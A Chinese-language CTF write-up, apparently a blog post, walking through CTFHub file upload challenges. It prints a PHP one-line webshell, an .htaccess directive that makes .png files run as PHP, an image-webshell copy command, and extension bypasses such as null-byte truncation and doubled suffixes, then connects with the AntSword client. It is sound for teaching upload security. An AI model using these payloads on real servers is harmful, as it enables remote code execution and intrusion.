CTFHUB-WEB-文件上传

在这里插入图片描述

无验证

靶机环境:

在这里插入图片描述
写个一句话木马文件:

<?php @eval($_POST["pass"]);?>

在这里插入图片描述
在靶机环境中提交一句话木马文件
在这里插入图片描述
提交之后根据提示,访问路径。页面没有报错,说明上传成功
在这里插入图片描述
接下来使用中国蚁剑工具获取shell

中国蚁剑

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。中国蚁剑是 一 款比菜刀还牛的shell控制端软件。
中国蚁剑下载地址:https://github.com/AntSwordProject/AntSword-Loader
下载加载器和核心源码”antSword“。加载器则分为三个版本:Mac、Windows、Linux。
打开加载器,双击“AntSword.exe”;
第一次安装项目需要先初始化,如果你已经下载了核心源码,就选择项目源码的文件夹。(如果只下载了加载器,选择一个空文件夹,加载器会自动帮你下载核心项目源码)。
在这里插入图片描述
第一次安装项目需要先初始化,如果你已经下载了核心源码,就选择项目源码的文件夹。(如果只下载了加载器,选择一个空文件夹,加载器会自动帮你下载核心项目源码)。
打开后,右键添加数据
在这里插入图片描述
输入刚刚上传文件的网址,pass是连接密码,进行添加
在这里插入图片描述
添加之后可以在一个www的文件夹下找到flag信息
在这里插入图片描述

前端验证

靶机环境:
在这里插入图片描述
当上传.php文件时,提示该文件不允许上传
在这里插入图片描述
查看源码,发现只可以上传jpg,png和gif类型文件
在这里插入图片描述
将一句话木马文件的后缀改成.php.jpg
在这里插入图片描述
上传文件,并用burp suite抓包,删除.jpg后缀。GO!
在这里插入图片描述
状态码200 OK,说明上传成功了。
在这里插入图片描述

接下来使用中国蚁剑获得shell,得到flag
在这里插入图片描述
在这里插入图片描述

.htaccess

知识点:htaccess文件

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
.htaccess文件 (或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。
它提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

.htaccess 文件上传漏洞原理:

一般.htaccess可以用来留后门和针对黑名单绕过。
创建一个txt写入AddType application/x-httpd-php .png
意思是把文件名包含png的文件解析成php

题目:
在这里插入图片描述
靶机环境
在这里插入图片描述
查看源码,发现"php", “php7”, “php5”, “php4”, “php3”, “phtml”, “pht”, “jsp”, “jspa”, “jspx”, “jsw”, “jsv”, “jspf”, “jtml”, “asp”, “aspx”, “asa”, “asax”, “ascx”, “ashx”, “asmx”, “cer”, "swf"都是上传文件后缀的黑名单
在这里插入图片描述

新建一个txt文件写入AddType application/x-httpd-php .png 并命名为.htaccess
然后上传

在这里插入图片描述
写个一句话木马文件,并以.png为后缀
在这里插入图片描述
上传
在这里插入图片描述
使用中国蚁剑连接shell
在这里插入图片描述
得到flag
在这里插入图片描述

在这里插入图片描述

MIME绕过

MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型

它是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。
常见的MME类型,例如:
  超文本标记语言文本 .html,html text/htm
  普通文本 .txt text/plain
  RTF文本. rtf application/rtf
  GIF图形 .gif image/gif
  JPEG图形 . jpg image/jpeg
MIME类型 (Content-Type) 和文件后缀这是两码事,不要弄混

在CTFHUB中打开本体环境好几次,都说环境实例未找到?! 可惜了我的金币。

文件头检查

(我又环境未找到??)
在这里插入图片描述

检查源码,没什么特别的
上传一个php一句话木马,文件格式不对
MIME绕过方式也不行。绕过了后缀,但是绕不开检测,那就是检测了文件内容。
制作一个一句话木马图片(图片尽量选择小一点)
一句话图片马命令:

 copy xx.png/b+xx.php/a xx.php

在这里插入图片描述
然后再上传图片木马文件
使用蚁剑连接获得shell,得到flag

00截断

00截断上传原理

PHP的00截断是5.2.x版本的一个漏洞,当用户输入的url参数包含%00经过浏览器自动转码后截断后面字符。
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。
比如https://mp.csdn.net/upfiles/?filename=test.txt 此时输出的是test.txt
加上%00
https://mp.csdn.net/upfiles/?filename=test.php%00.txt 此时输出的是test.php
就绕过了后缀限制,可以上传webshell啦。
php版本要小于5.3.4,5.3.4及以上已经修复该问题
magic_quotes_gpc需要为OFF状态

在这里插入图片描述
靶机环境:
在这里插入图片描述

网页源码:设置了白名单
在这里插入图片描述

写一个一句话木马文件,并把后缀改为.php%00.jpg
上传,使用burp suite抓包
正确的做法还是数据包中必须有上传文件的path才行。结合上传路径+文件名,进行截断。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

上传,显示上传成功:
在这里插入图片描述

使用中国蚁剑获得shell

在这里插入图片描述
注意连接的网址,不要写错。(我就是在这吃了亏,用错了地址,连半天连不上)
获得shell后就可以在www文件下找到flag
在这里插入图片描述

双写后缀

用于只将文件后缀名,例如"php"字符串过滤的场合;
  例如:
   上传时将 Burpsuite 截获的数据包中文件名【123.php】改为【123.p php hp】,那么过滤了第一个"php"字符串"后,开头的’p’和结尾的’hp’就组合又形成了【123.php】。
靶机环境:(又出现了环境未找到??气哭)
在这里插入图片描述
解题思路:
上传一个一句话木马文件,文件名为123.pphphp
在这里插入图片描述
上传一句话木马文件
使用中国蚁剑获得shell,取得flag

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值